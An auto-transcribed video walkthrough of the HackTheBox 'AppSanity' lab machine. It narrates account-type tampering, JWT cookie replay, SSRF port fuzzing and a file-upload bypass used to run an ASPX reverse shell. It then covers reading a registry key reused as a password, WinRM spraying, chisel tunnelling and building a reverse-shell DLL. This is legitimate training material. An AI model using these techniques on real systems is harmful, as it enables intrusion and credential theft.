text: what's going on YouTube this is IPC I'm doing appy from hack to box which starts off with some web exploitation it's not too technically challenging but the chain is relatively large that does make it difficult because there is two websites that is part of this right um it starts off with a um user account generation and when you register your account you can change the account type you are so you can become a doctor and that gives you a cookie of a doctor user and the second website using the same SE scrip for that cookie which is a JWT so you can Replay that and gain access and then there's a server side request forgery attack and also a uh file upload vulnerability so you can upload ASX web shells to the web server and then use the ssrf in order to access them and then once you get a shell on the box there are two reversing challenges the first is net the second is C++ so with

title: HackTheBox - AppSanity


text: that being said let's just jump in as always we're going to start off with an M map so SCC for default scripts SV enumerate versions OA output all formats put the end map directory and call it app sanity then the IP address of 1010 11238 this could take some time to run so I've already ran it looking at the result we just see two ports open the first one being HTTP on Port 80 and it's running IIs and redirecting us to Med dig. htb which isn't app sanity it's a little bit odd but let's just go ahead and add this to our host file so we can add 10 10 11 238 and then that host and it is redirecting us to the SSL version of that website and we make a request there it doesn't really give us anything I'm guessing it just didn't trust the certificate or something like that um the one notable thing is this is a

title: HackTheBox - AppSanity


text: Windows box and there could be other ports likely open just because n Maps top 1000 doesn't detect wi RM I think if we do like locate top 1000 uh let's see let's go to add map Port stop 1000 I'm going to search for 59 oh that's a lot 598 we can see it doesn't do 5985 or 5986 which I think is winrm and winrm SSL if we did a nc- zv 10 10 11 238 5985 we can see that port is open so with windows boxes I do like scanning a full port scan just so I can see if um when orm or other things are open Windows is known for having just a lot of ports open especially like domain controllers so let's do a end m- p- 10 10 11238 and then we'll output all formats into nmap app sanity all ports and let that go for a little bit so let's go take a look at HTTP Med dig. htb was it 2DS or 1D uh 2DS and there we go it is loading it redirected us to

title: HackTheBox - AppSanity


text: https and we get a medical site right the first thing I want to do though is check the SSL certificate to see if there's any other um host names associated with it so we just see the common name the main field I'm looking for is like alternative DNS names or alternate names in general don't see anything but let us um just do a durust anyways to see if there's anything there so I'm going to set up fuff actually we can use Go Buster let's do go Buster V host and then let's see um I forget all the flags for this it's probably just host name and word list I would think word list up SEC list um discovery DNS let's do subdomains top million sure that's fine I think dasu or host is it host or URL um maybe dasu yep URL so- HTTP m d d II HTP and if this doesn't find anything I'd also try SSL as well we can do out file um goster

title: HackTheBox - AppSanity


text: vhost HTTP there we go and let that run while we take a look at what features are available to us on this website so just clicking around it looks like it is a single page thing we have um request a call back so let's just put information here uh test test let's see what this form is doing let's send this over to burp Suite proxy intercept is on submit and we see it's doing a call back here um we could try just putting some type of cross- site scripting thing so like image source is equal to um HTTP 10 10 14 8 Port we'll do 8,000 I guess like that and I guess we should put that for the message as well and subject so normally when I do it I'd also put like a um tag so I know what it is so if we did get a call back here I would know oh the call back was in this parameter right so this will be the source that's

title: HackTheBox - AppSanity


text: fine uh name there we go so let's stand up a listener so Python 3 m HTTP server so we just keep that running while we send this and then going back here our submission contain errors so I guess they have some type of crossy scripting filtered in place we could keep playing with that I'm not I'm going to use the power of hindsight and know that's nothing there but I would start putting just random characters in each field to find out which one has the filter it's likely the name or maybe all of them are preventing that right um let's try signing in oh we need an email uh we could try like admin atmed dig. htb password and try a few passwords there um we get email or password is invalid let's sign up for an account so I'm going to do um just a basic account let's do password is equal to p uh we need one number password

title: HackTheBox - AppSanity


text: one okay H there we go let's do 555 okay so now we have the sign up form let's go and inspect this we do sign up and we can see all the parameters uh name email password date of birth phone number cont we have account type which is something we did not specify it's equal to one so I'm curious if I change this if our account changes at all the first one I would try is zero because normally the first like account if it's a group is going to be admin and then also try the one after user um too if that doesn't do anything but let's just forward this sign up request and log in so we can do root atp. Ro password one we sign in and we can send a message to the supervisor so again let's try cross a scripting 10 1048 8,000 message to supervisor SL image there we go we could also try changing our password here if I

title: HackTheBox - AppSanity


text: knew um the email address of the admin I may try like a um idore vulnerability let's try changing our password to two so we can explain that so if I change password to two intercept request save Let's see we got name email phone number I did not change it to two I don't know oh it puts her email here but again we don't know the admin's email we could if we did we could try just putting the admin email here here and maybe we could change the uh password so let's drop this request right now and I'm going to look back at the profile get a visual of it see what it looks like and then we're going to log out and create a another account so let's do sign in let's do another account um put junkier um account to ic. roxs password one password one I wonder if that's even going to work for the year okay let's go to burp Suite intercept sign

title: HackTheBox - AppSanity


text: up account type is zero forward sign up failed let's just try changing the account type to two and I think I said account two and the email I me one but doesn't really matter we are really old there we go intercept on sign up account to there we go forward we have created account so we can do account 2 at i.r password one and we have something different we can add a patient here but before I look at this uh we have this vulnerability we should report it the other thing we should be doing though is seeing if that idor vulnerability we talked about previously exist so I'm going to log out I'm going to try signing in I'm going to use my first account so rout atp. Ro password password of password or password one ic. RS password one and this piece is completely unneeded for the box but whenever I do pen testing this is kind of the workflow

title: HackTheBox - AppSanity


text: I follow right um let's see we just need password two password two intercept on let's save so you can see I put that password in and we can say account to at i.r we can for this we don't get any error let's log out let's sign in account 2 at ic. Ro password 2 sign in it doesn't work so that vulnerability is not like an ID door they have some protection in place place there that's checking my session to make sure I'm only changing my own password so let's do password One log in and let's see what this supervisor panel is so if I click add patient here let's see we have this access token and we really don't know it says selected patient ID 7 so I guess there's six other patients potentially so we added the patient as supervised and let's just go take a look at our gobster it is only halfway done okay let us log

title: HackTheBox - AppSanity


text: out we can see if our regular account is any different rout at ic. Ro password one and we just see a supervising doctor right here I'm curious if I send a note if that goes over to him so let's sign in account twoip. Ro I probably should do this in like incognito mode or something like that so we can quickly see it but I don't see any way to get messages from the user so I'm guessing this probably going to be some type of um different like URL that I can hit so may I should go Buster this or maybe there's a subdomain right and let us run the same Brute Force except I'm going to do the https version as well and let's make that a smaller word list so it goes quicker um apparently that is too big of one to go quickly so let's change this top million I'm just going to do 5,000 that should be quicker uh we need htps s and we can add- K so it accepts

title: HackTheBox - AppSanity


text: that invalid SSL certificate and then let's run and top 5,000 will go much much quicker and it immediately found portal. Med dig. htb so you should always have some type of Recon going in the background because um you can't really hack time so it's always nice to be running like those gobusters while you work because when you get a dead end you go back there and maybe it will reveal something important right so let's go add portal. med. htb let's take a look at it um htps there we go and we need a do reference number and we don't have that um account top. um I'm going to do seven maybe that's like my patient ID and we have email reference ID is is invalid so let's go take a look at um the host headers real quick just want to compare this let's see we do see this is I it is still going to be some type ofet just because we can see appet core MVC cookie

title: HackTheBox - AppSanity


text: tamper protection if I did that on any other one let's go back to http history um let's go to one that's not portal this is fine we see similar cookies so we know we're still in the same language if I saw like a PHP cookie um that would be definitely interesting but we are definitely pentesting a um net application now one thing I always like testing for when there's multiple um logins is are they using the same like authentication method right if I go back into my request to the portal um we could just do that here so we're the doctor right now let us clear this intercept on when I send something I'm sending these cookies and we have this access token if I look at what the access token is let's see that's just going to be this field um we see unique name eight email um this is probably not valid

title: HackTheBox - AppSanity


text: before expiration um time issuer Med Digi so we have a JWT that's signed let's go ahead and add this access token to or cookies on this so I'm just going to press F12 we can go into storage click this little plus icon to create a cookie and access token I can make this bigger for you then let's do the value I'm going to paste the JWT and now when I make a request here I'm going going to send the cookie as well and if it's using the same JWT and secret in the whole format this is just going to magically authenticate me which is somewhat common for web applications and we can see there we have it we are now into um the doctor panel so let's take a look at everything we can do we can update a profile um when we update the profile I'm not seeing any extra fields we maybe able change our account type to

title: HackTheBox - AppSanity


text: zero here if we know that's an admin but I'm not going to muck with that let's see we have a scheduler um start date let's do that end date schedule I have no idea what that just did if I look at prescriptions Let's see we have two if I click on this link we have a thing to view prescription and it brings us there let's try root atp. Ro and then prescription link I'm going to put my own web server so 101048 Port 8000 we still have our python web server running from before so we can say prescription scheduler and then submit this we get a file not found message and if I go here we have a 404 so we know this is server side request forgery here right let's try doing a HTTP 1271 um Port 80 what happens here we probably don't even have this best by Port 80 let's just do submit it's taking its sweet time maybe it doesn't have a listener there or maybe it redirected to 443 and failed

title: HackTheBox - AppSanity


text: I'm not exactly sure start intercept on we get the request we can forward it um error occurred that's all we get and it gives us the login panel so I think maybe this is showing us the page it got to I'm not exactly positive what went on there if I refresh this page I don't see any new prescriptions but we know we have a server side request forgery let's go here we have a request form and then we have a file upload so let's um do a file upload patient ID must be six digits um ipac I don't know the department let's enter a phone number there we go data visit that's fine um I'm just going to upload read me to see exactly what this form form looks like when we submit it this is what that is so we can forward it along and we see only PDFs are allowed so let's try uploading um something else uh we probably have to do a phone

title: HackTheBox - AppSanity


text: number okay I'm going to add that but we're going to change the name so it has PDF in it I want to see exactly how it's detecting this PDF that is my goal right now so we had the file name here if I append PDF we forward this along we still see it's only allowing PDFs so maybe it's checking the magic bytes so let's try adding the magic bytes of a PDF so we can go back to this intercept on submit and here's where the file Begins the magic bytes of a PDF is percent PDF Dash that if you look at like the RFC all PDFs begin with this right we could just look at our box if we didn't know that so I do like locat star.pdf find any old PDF and open it up in some type of hex editor and we can see this is the magic bite we could do even 1.4 if we wanted to but we just need the dash so now we have the PDF in it if we forward it

title: HackTheBox - AppSanity


text: along we have the examination report has been sent to management so we have uploaded a file now this is a ASP web server so I want to get a aspx webshell in order to um trigger some type of file upload vulnerability it's a lot like PHP we can just upload a PHP script to the web server execute it and get code execution right so I'm just going to Google aspx reverse shell and let's turn BP Suite it is not intercepting and let's see is this going to be a good one shell. aspx I probably could find one that just exist within my repo but let's just pull this down okay let's W get this edit shell.

title: HackTheBox - AppSanity


text: ASX and we want to change the um host and Port so we'll do 10 10 148 or 90001 okay NCL lvmp 901 there we have it now let's upload this so patient number name department phone number whatever and now we want to go to htb um app sanity shell make sure we are intercepting and let's see let's just put a percent PDF Dash forward it along okay so now we have uploaded it what we have to do is try to find it right I'm going to try like SL shell. ASX we just get redirected back here um we could try SL upload to see if that exist um SL uploads with a capital slash we have to figure out how to execute this so let us go over to gobster and set up a Brute Force because maybe it'll find like a word list directory right so we can say gobster dir um let's not do subdomains uh web content raft small words do lowercase

title: HackTheBox - AppSanity


text: I'm doing lowercase because Windows is not case sensitive so it doesn't really matter right if we do SL profile if we did undercase profile um it still goes through so this saves a lot of just request if we specify lowercase uh let's see we also need um let's see the cookie how do we specify cookie and Go Buster d-h cookie d c and we want to grab that access token right so we just grab anything can grab this I wonder if we need that antiforgery token that could throw a wrench into this let's see because everything is redirecting to 302 gobster doesn't look like it wants to work um we could specify a blacklist of 404 and 302 there we go and this looks better we have profile error home so that is working I wonder what SL error looks like it just says error that is helpful so let's see um we have that service side request forgery that we can play with is that

title: HackTheBox - AppSanity


text: iner no that was prescriptions right so let us do root at ic. RS let's say HTTP um 1271 and I'm going to play with this in repeater so let's turn intercept off or intercept on go here I hope this doesn't like forward my request I want to be able to access it immediately and I think when I'm doing this because I'm go bustering this is going slow so I'm going to kill the Go Buster um we probably could change like the threads if we really wanted to work while we did this down to like one and then maybe it won't um be so slow right that's another way to do it and it could just be a timeout because it's like a service side request for is trying to access port 80 on 1271 and for some reason that's not working right it may not be gobster at all slowing my request down um okay so we have error occurred let's

title: HackTheBox - AppSanity


text: try 443 and make that htps let's click Send error occurred instantly um so we have 214 milliseconds let's try 48 that shouldn't be listening this is taking two seconds instantly so when it can talk to a port it looks like it is instant at least with https but when we can't um it takes a long time right so I'm going to do 9,000 one here there we go now it's hanging out hanging so that's what we want to be able to fuzz with because I'm looking at this response it looks the same we just have error curred or yes um let's see perent 20 let's try 5985 try to eyeball this 176 bytes back 176 bytes back it looks the same so I think the only way we can play with this is um through finding the time so I'm going to write fuff here I'm going to change request method no I want to copy to file so let's put this

title: HackTheBox - AppSanity


text: in app sanity and I'm going to say um send prescriptions. request okay and the reason why I did this is because I'm going to fuzz this with fuff and I save the request to a file because that just makes it easier for me to use fuff right because I don't have to specify all the cookies the host header all those things I can just go specify the parameter I want to fuzz with right so let's do FFF DH and I want to say it's- request right um yep we need Dash request and there is request Proto but I think we're doing https we are so that's the default we don't have to specify HTTP if you were doing HTTP you'd specify it there right so let's do FFF um- request and we called it send prescription. request then we work a word list I'm going to do um 0 through a th000 or let's do 10,000 and if you don't know if you did this it would execute the code if you replace that dollar with a um less than sign it'll

title: HackTheBox - AppSanity


text: execute the command and then treat it as a file it's really handy for making this word list right so we have the request we have the word list um I need dask to accept the SSL certificate and let's hit enter um fuzz defined but not found in anything oh I put fuff here you do fuzz where you want to to replace it there we go and I'm just going to run this I want to look at all the results and the one thing I see is we are overloading the server right now we can see it goes up to like 8,000 milliseconds and we don't want that um that's happening because we're doing 40 threads and that's just too much for this server to handle right um again we notice it because when we start it off everything was 2,000 milliseconds then we got to 4,000 then 6,000 8,000 it just ramped up whenever you see that decrease the number of

title: HackTheBox - AppSanity


text: threads and you probably get better results right so here we have 104 U now 2,00 the occasional 40001 but that's fine I want to get to Port 80 and I want to see it not be 2,000 milliseconds and then we're going to create a filter for time and there we have it we have 80 is under 100 so you can do- ft for filter time and then I think it's um filter anything greater than let's do 1500 let's see there we go and you can see the filter is in place so response time greater than 1500 and Port zero it worked right away I'm not exactly sure why maybe that's just errors because it isn't a port um once we hit 80 we're hoping to see 80 pop up we do so everything looks to be fine we have the ssrf working uh Port 100 we don't know exactly what that is we can look at the results this way so if I do Port 100 um let's take

title: HackTheBox - AppSanity


text: the we can just drop that I guess submit let's see what happens here we just get a link preview of this which is odd but okay um 137 that's going to be like the windows RPC Port so I'm going to just pause the video we'll let this um keep going to see if there's any other um ports that are interesting and after I pause the video I realized how slow is going to take it's not do a good job because there's a lot of ports over 10,000 that we'd want to scan and I don't want to told us to scan all 65,535 ports because we'd be here a while cuz we're only going at four per second right so let's go do a quick Google um let's see we can disable that uh let's say nmap top 1,000 list and the reason why I didn't want to use the list before because it did things like 5987 to something right and I didn't

title: HackTheBox - AppSanity


text: feel like figuring out how to expand upon that I'm sure someone online has has done that for me so if we go to this one let's see that is again expanded oh this is the SEC list so that's the one we did um maybe this one top end map Port C CSV let's see TCP map sorted I don't know the difference between these top 1,000 most popular TCB points and map sorted okay I wonder if one of those is like I don't know but there we go this looks better oh my God that's a lot of numbers uh let's see V what your top 1,000 do list I guess uh let's just W get this okay we want to replace all commas with is it back SLR back sln maybe just back SLR nope undo perc s comma I think I can't remember it's back slnr or RN that doesn't look like let's just do n uh let's see maybe that's good it looks fine um I could just strings it and that would

title: HackTheBox - AppSanity


text: make it better if that doesn't work so let's go back to FFF and let's change our word list to that and that's definitely not working let's change a word list to Temp let's see if that does anything there we go so before um I was terminating the string a bad way so if I do top less we can see every line break yeah I did it backwards I think it's n bite then z a right so this is 80 and then that let's look at my other one while that goes uh we just do z a so that is probably just the return uh so I should have that memorized how I do it but at least my troubleshooting skills I know because um that's definitely what is key but we do see port 8080 open so let's go take a look at what that looks like so let's see port 8080 submit we're waiting on it it's definitely taking longer than I expected let's just refresh oh we have

title: HackTheBox - AppSanity


text: something it gave us a link preview if we go view report we can see the file here right so I click view report and I can't see the actual file but we do have a link portal mediji or Med Digi then view report file Cardiology so we want to be able to get to ours right if I refresh this it's just link View and I don't see much else let's try uploading a request again so let's upload report and I'm actually going to modify my shell.

title: HackTheBox - AppSanity


text: ASX uh it wasent PDF Dash that way I don't have to worry about up uh intercepting in burp Suite so patient number patient name we have no email uh root root I was hoping we'd have an email but only contain letters okay upload shell ASF X so examination report sent let's go back to issue prescription recipent email description link HTTP uh we want to Port 80 I'm going to add a slash to the end of that there we go we have a prescription here if I click view link we can see it is at shell. aspx so I'm going to copy link and we can see where it's uploaded to view report aspx file this so let us go back to oh there we have 5985 what if my end map list isn't updated CU that definitely does look like it exists okay we are listening on 91 one let's hit this it's thinking we don't get a shell so let's send this URL over to the

title: HackTheBox - AppSanity


text: subscription so we can send that submit cuz maybe we can only view reports off um the server Maybe don't have it exposed to outside of the doctor's office right that is my logic I'm going with here and we're not getting any response back did it just error link preview okay no shell so I'm going to change this to 1271 put 8080 we'll get rid of https submit because maybe this link also or this whole path Works off of um 1271 and there we have it we have a shell back so that is what we had to do um and the very first thing I do I'm trying to maximize this I don't know why my Vim hot keys aren't working that's weird um I forgot to use RL WP so I'm just going to repeat this process something is wrong with my keyboard oh I have caps lock on I wonder if that did it there we go that was the issue um okay let's L WP let's send that

title: HackTheBox - AppSanity


text: request again that looks fine there we go or just gives me like the up and down erors which is nice it also lets me clear the screen so the first thing I always like running is the Who Am i/ priv um didn't list my username let's just do who am I as well so we are app sanity exam panel and we don't have SE impersonate privilege and since we're not like local surface I can't run full Powers which we did in the last Windows video to restore my privileges we're an actual um maybe it's an app pool account I don't know exactly the terminology but the next thing I always do is try to find out um where the database password things like that is because maybe I can crack hashes so on Windows that's probably going to be in like inet Pub uh there we is let's see dubdub dub root this is just the IIs um let's see we got the med

title: HackTheBox - AppSanity


text: Digi access denied Med Digi portal denied um examination panel there we go go in there and let's see we have view report so that's where we got the code execution from right um we could type that out and see I guess it's just loading it from a dll so that's probably going to be in bin there we go I'm guessing it loaded it from this examination management examination panel view report uh let's see let's just download these files uh makeer SMB let's do uh impacket SMB server smb2 support and let's see what is it is it share name first and then working directory share name share path so let's do share and then our current working directory run that with pseudo so we can listen on 445 and now we should be able to copy so let's do star. dll 2 10 1048 share and I think it's copying CD SM SMB there we go we have

title: HackTheBox - AppSanity


text: one dll and it is copying the full thing it's just taking a while not the fastest copy but it is going one at a time so we have the examination panel management.

title: HackTheBox - AppSanity


text: dll so we want to copy that over to um a Windows host so we can start reversing it right um and if we do a file against it I knew it just based upon like how it's loaded from net that is a net assembly but you can do a file and see it is that as well so I want to run um DN spy against it so let's go over to our Windows box and I've already copied the dll here because it saves me like dragging it to my host and dragging it here but let's just go to tools umnet DN spy and now let's do is it file open there it is desktop examination panel and let's take a look at this net um we have examination management Global nothing really there let's go to examination panel um if we do report view report this is how we review it and then we can see um there is a encryption key from registry value and it's doing a open sub key on software Med Digi and that is H

title: HackTheBox - AppSanity


text: key local machine so it's getting this key and the key's name let's see is encryption key so let's view this registry key so let's go back to where a shell is and then we can say reg query hkey local machine software Med Digi um rege there we go and we can see the key encryption key is set to I got the remedy so we have some type of credential here we don't know exactly what it goes to um we could do net user and we get a list of all the users so I'm going to make V users. list I'm going to do administrator um SBC oh we already have that account I think or which one are we we're exam panel so we can say SVC Med Digi portal I guess we can see if this is the password to exam panel as well Dev Doc and the service account so we have a list of those and now I'm going to use net exac and 445 wasn't open to us but wi RM was so we

title: HackTheBox - AppSanity


text: can specify winrm and then Med dig. htb the username is going to be users. list the password is going to be that I think that's all we need set enter and see if it starts um going and there we have it we have one we have the dev doc user has this password so let's use evil winm to access it so evil win n rm- i Med dig.

title: HackTheBox - AppSanity


text: htb user Dev do password I got the remedy and there we have it we are now logged in as Dev do so let's see what's special about this user if I do Who Am ipriv we see pretty much the same thing um we could do net user Dev dooc and this should tell me the group man the groups I'm a part of we don't really see anything too special the Remote Management which that's why we can use uh winrm so looking at the directory of documents there's nothing here you can go into desktop and there's nothing there so I'm going to run wipas and I always just like uploading things to program data because that is just World writable um I'm guessing the flag was actually on this user up here for the um low priv shell but let's grab Lin peas or win peas so I have it an opt peas winp 64 and I'm going to make it in dubdub

title: HackTheBox - AppSanity


text: dub like that and we already are listening somewhere this one I probably shouldn't have ran the web server out of just app sanity because if someone came and found that web server you have all my files here right that's why I always like running it in dubdub dub so I know that's where like the exposed files are so let's just go back and do this man I don't know why I can't type all of a sudden there we go all right so let's see now I can just oh I probably could have put my SB share as well uh curl HTP 101048 or 8000 win.exe win.exe and canot that is odd says the name canot be resolve 101014 dot run that again there's something odd going on oh I could have sore I said8 there we go and it downloaded let's go to the first one yeah I do have8 maybe I back escaped some escaped something and got rid of it

title: HackTheBox - AppSanity


text: that is odd so let's do win.exe and I'm probably going to pause the video and let this run and then we'll just look at all the results So wipas eventually did crash here and I'm not sure exactly why it did I'm sure if we just got a newer version of it maybe we'll get past this but let's see if it found anything before that crash so I'm just going to search for wind peas to get up to the top and then let's go and look at what it highlights so environment variables I'm not too interested in looking at this stuff I don't see anything too interesting there I was looking at the power shell files we didn't see anything there um bunch of registry stuff I think all this ntlm signing if there were adjacent host they'd be more interesting but this is just Standalone so I don't really care about that um let's see leaked handlers I probably come back to this if I don't

title: HackTheBox - AppSanity


text: get anything whenever I see one of the results have a lot of like things like this right here and the registry thing um I just make note of it and we'll come back to it because it's probably some type of false positive if it's detecting 50 of the same item right so I'm guessing this is just path injection but we probably don't have access to right to the path so um we can't really weaponize that and there's a lot of them so I'm just going to skip over it I'm not sure what the task directory being able for authenticated users to write files I don't think there's anything we can weaponize with that off top my head Network information and we see something odd we saw when we were doing the fuff with um all the ports Port 100 is listening and it's report management so let's see exactly what this is if I search down we can see report management is in program files which we have not seen yet um so

title: HackTheBox - AppSanity


text: if we went to CD back SL progra one and I just do that because it's a shorthanded way to do it without escaping the space right if I docon um there's program files and program files x86 if I did progr 2 it will take the second one or I thought it would and grab x86 um not sure why I did not there but oh because I'm in program files so we did CD progr 2 there we go x86 we can put a slash there do progra one switch over to program files um we want to go into report management and we can see a report management. exe a helper um this is the visual studio C++ runtime so this is not a net thing this is going to be C++ most likely with these dlls uh we have a libraries directory so if we go in there uh let's do GCI is it forced to see hidden files there's nothing in libraries so let's go ahead and download the executables so I'll download report

title: HackTheBox - AppSanity


text: management. exe and then we'll also download report management helper um and this download command is a thing of Evo winrm it does have an upload as well but I have mixed results when doing it with upload so I normally only use the download functionality let's see so we have the two files let's make um report management and then move both of those into report management and let's see uh it looks like the helper we don't have access to but we do have access to report management so let us uh do a file against it to make sure it copied correctly we have a executable so let's open it up in G and I'm guessing this is what listens on Port 100 and I guess we probably should connect to it as well um so we know exactly what's happening let's do file new project real quick and see what this looks like it is C++ and the binaries here not the

title: HackTheBox - AppSanity


text: easiest to reverse I just want to make sure we can open this let's analyze it sure okay okay so now we have the binary we could look at Imports let's go to exports entry um in here and I'm not going to see right off the bat anything that's easy to start reversing um the easiest thing to do is look at strings and then search for the strings and see where there's are reference in the program and then go to that function and kind of explore right so I'm going to open up chisel let's go um and copy chisel so if we do dubdub dub uh CP op chisel chisel exe and then let's just go op chel chisel server uh- P let's listen on 801 I don't think we have to do reverse or do we I'll add the flag just so we have it okay let's go back to program data um W get HTTP 1010 148 8 000.exe ch.

title: HackTheBox - AppSanity


text: exe it looks like it is downloading so we can do slash chisel dotexe client 101048 8,000 I want to say we want to do a reverse Port 100 1271 um chisel's not running as root on my box so I can't do a privilege Port here um I'm going to do 9100 we'll for it to 1271 100 see if that works uh chisel can't listen I did something wrong there so you cannot listen do I have errors here no see remote exception do we have to specify that no maybe I'll just do a dynamic socks because I'm not sure exactly what this issue is oh um 80001 we have the wrong host still can't listen is there a help let's see oh it's R colon I always think this flags were the same as SSH they're slightly different this one should do it so if I go here there we go we are now listening so if I go here SS lntp grap 8100 we are listening there it should forward through chisel so if I net cat

title: HackTheBox - AppSanity


text: Local Host 8100 we go through and access Local Host on the Windows machine on Port 8100 so help we have a few functions um if we try like backup it says backup successful uh validate upload let's upload like our past WD fail to upload don't really have too much um we could look at the strings let's see oh it looks like G finally finished processing but still it's hard to um identify everything so if I did strings on the binary I know we could look at it in gidra but um I think this will make it a little better so let strings report manager.exe uh let's grip it for libraries because that's the directory that existed I kind of want to see what it's for the directory was empty and we see the path is here if I look at strings around this so I'll go A3 B3 to go um is it- capital A like that there we go it shows the three before the three after and we can see

title: HackTheBox - AppSanity


text: before it we have invalid command missing parameter after upload and it's executing libraries we also have dll and external upload so I'm guessing external upload. dll is what we'd have to put in libraries but that is a huge guess so um let's just play with this binary a little bit so one of the things I would like doing is looking at everything it Imports and then we can see um things it does so we can see like create file look for any suspicious um functionality so let's see is there anything we want I think there was one I wanted to look at let's see I think it is in kernel 32 create oh create process so this is interesting the binary itself is creating a process so if we go here we can go to the references show references to this address and we can see where that's actually called the it's

title: HackTheBox - AppSanity


text: Curr decompiling it here so let's just um let it do its thing hopefully it finishes it's thinking I don't know why it's taking so long to decompile this there we go um we're around here right see create let's do this again references references to this address there we go so here we can see it create the process um if we Trace kind of what LP command line does let's do LP command line find the previous we see it is local 1428 we can search that go back see that's going to be um something with report management helper so this is probably executing the report management helper.exe right and if you didn't want to do it in gidra we could do Dynamic analysis so let us um copy report management.

title: HackTheBox - AppSanity


text: exe going to copy to my SB directory IPA and hopefully I can access the share on my windows box I'm not sure I can share awesome we can so we can just run this and I'm going to use um process Explorer when I run this do I have it on the box uh I don't know what proc watch is that's a new one to me oh it's just moning for new processes that's not what I want uh let's see I guess we have to use Edge to download it because I don't think I have anything else on this process Explorer I'm sure it's on my machine somewhere okay so here it is let's run this and that's not what we want um what is it not Explorer process monitor procmon that's what it was and I have it on my computer there we go so procmon is the application I like using to monitor what a program does so let's filter where is filter contrl L let's

title: HackTheBox - AppSanity


text: say process name is report manager.exe and we want to include it there we go so now our procmon is only going to show us what this program does I'm going to run from the command line so if it has anything on like standard error we can easily see it so when I run it we see nothing because I said the wrong filter uh we called it report manager it's management add it there we go so we can see everything the program is doing and there's a lot of things so we want to filter some things out because we can't really look at uh 766 events right now so let's go back to the filter and let's see um there is like a success right exit what is it operation result so we can do result uh is not success is that how we do it that is odd it's saying buffer overflow right there we probably don't need all the registry so we can just exclude these so you can also do it this

title: HackTheBox - AppSanity


text: way and let's see we have path not found on this C inet Pub so we definitely want to create this this so let's copy this and make this directory so probably be easier to do it through the command line but I forget how to do it recursive on Windows um inet Pub examination panel is that examination panel examination panel it is new folder and then reports okay so now that folder exist let us clear we can run the program again and let's see what it has um we don't have all these dlls we probably want them because I guess we don't have the visual studio runtime on our computer uh we need c colon backup and it's also possible um we do have these and it may trying out of the current working directory first and then going to system 32 and loading it uh we see right here yeah so I think that's what's happening um we need administrator

title: HackTheBox - AppSanity


text: backup so let's create C colon users administrator and then back up okay clear the panel run it again and let's see so we have no more files here so we probably want to put something in reports so let's go back here inet Pub examination panel reports create a file there we go okay so we tried to copy this file and we have access denied does it exist an administrator backup now administrator backup it doesn't wonder if we just don't have permission to write there Let's see we should because we created this directory as a user but maybe we don't um I just switch to UAC like an admin command prompt in case it's UAC there we go so we see that a lot less so I think that is better and if we go here administrator back up we do have a file so I think the program is still running I think maybe it just forked um let's try a netstat d find

title: HackTheBox - AppSanity


text: string 100 and we see we are listening on Port 100 and I don't have netcat on this box so I'm going to keep switching back and forth um maybe not I don't think I can access this from my Linux box let's try did I connect I don't see anything else here examination panel have a bunch of access to nides again timeout so yeah let's install netcat on a Windows that would be quicker than fixing up the networking mode on my VM so NC 64 Windows uh eternally board download it Local Host 100 there we go so we can see the reports Management console now if I type upload what happens here I was expecting to see new things we keep trying to do this back up I'm going to change my filter around so we're going to get rid of this result is not success and I'll say path contains libraries because again that's the directory we wanted to see exactly

title: HackTheBox - AppSanity


text: what's happening we're never loading it um do we ever contain program let's get rid of libraries huh let's close out I'm going to do task kill image name report management. exe slf so we've killed it let's run this again okay so now that we've ran it let's go back to our filters um I definitely want report as not success see we loading this I wonder if I need to copy those dlls see no more files I'm going to copy all the DS over and see if that makes any difference okay go back here copy a win orm command uh we want program files can I do this no that sucks so I'm going to pause the video and just download each of these because you don't need to see me copy and paste five times okay we should have all the files here so I'm going to move star. dll to the SMB folder then we can go back to our Windows host

title: HackTheBox - AppSanity


text: go on the share and now we have all the files and I'm actually going to put these in a folder called um report management is I think is what it was called paste it all okay so now when I run it we should get more things or at least all those errors will go away uh file locked with only readers did I not go in the directory I don't know oh no I did we got report management there okay invalid parameter wonder if we need PDFs it could also be like the space is screwing it up right test.pdf okay let's see if that does anything uh we want to kill then we want to clear and run okay looking through this dlls we can probably filter that right exclude that name not found so it's looking if this exist it doesn't so it probably creates it um don't know why it's doing that okay let's try neet catting

title: HackTheBox - AppSanity


text: now uh neat 64.exe help upload test.pdf so it tried to create the file it does this to validate the directory exist so we need to create this C program files report management um libraries so new folder report management then new folder libraries okay so now that we have that created upload test.pdf we have no more files so let's try creating a file in here um only lets us create a folder which is annoying CMD progra one report libraries uh let's save this oh come on seeon program files uh report management libraries all files um ic.

title: HackTheBox - AppSanity


text: dll let's save that now let's see what happens upload test.pdf so we query directory I was expecting it to see at least one file does that actually have to have content it shouldn't huh let's kill and restart it task kill report management.

title: HackTheBox - AppSanity


text: EXE terminat start it up where's that cat oh we loaded the wrong one I'm just going to copy NC 64 into this so I don't make that mistake again okay so we do a query we get full directory information and this should have showed us the files in it but it did not I wonder if we're filtering something out oh we're filtering out success that's what it is I just cleared the filter that was bad um this we don't need registry let's see there we go this I want to see so we can see it's quering the libraries and then we see ic. dll so it does nothing after that I guess we have a TCP send but let's create what we think it wants right if we went back here and we did the strings command um strings report management EXE grap libraries after three I wanted external upload. dll let's create that and see what

title: HackTheBox - AppSanity


text: happens so notepad file save as external upload.

title: HackTheBox - AppSanity


text: dll hopefully I don't have any typers there and then let's actually kill it run it clear it scroll near the bottom let's see we need a netcat to it there we go attempting to upload and it hung so let's see we have a process create so this is what we saw in gidra it doing the process Creator and we can see the command line is report management helper libraries external upload. dll so that is what we saw all the way back here um when we did create process we looked for it here's the report management helper um the second flag let's see where is the create remote process so what was it creating we have the command line now/ C report management helper libraries external up load so we're just passing the dll over to this executable so all we have to do now is create a malicious dll and maybe upload

title: HackTheBox - AppSanity


text: on the web server so let's try that the first thing we need to do is find some reverse Shell Code so I'm going to do reverse shell windows dll and see what we have on Google let's see maybe that or this let's see this looks to be what we need um we have the dll main right here so anytime the dll attaches or does anything um it's going to execute I wonder what this one looks like uh this is a full project uh let's see where's dll Main yeah both of these are if you look at some of my other videos oh nope here we go DL main so this is only doing it on process attach so this is probably the better one but there's more to it like I have to have a project I'd rather just a single file so this hopefully will work um let's copy this W get sure okay okay so what we want to do is replace this with our IP address so 10

title: HackTheBox - AppSanity


text: 1048 or 91 and then they use wine to GCC to compile it but we can probably just um use x86 let's see w64 minw is it GCC that should do it and then the dll name and then shared and what else lws oh they don't have shared it's odd they doing windows.exe to when it's a dll um this may not work what was it called external upload.

title: HackTheBox - AppSanity


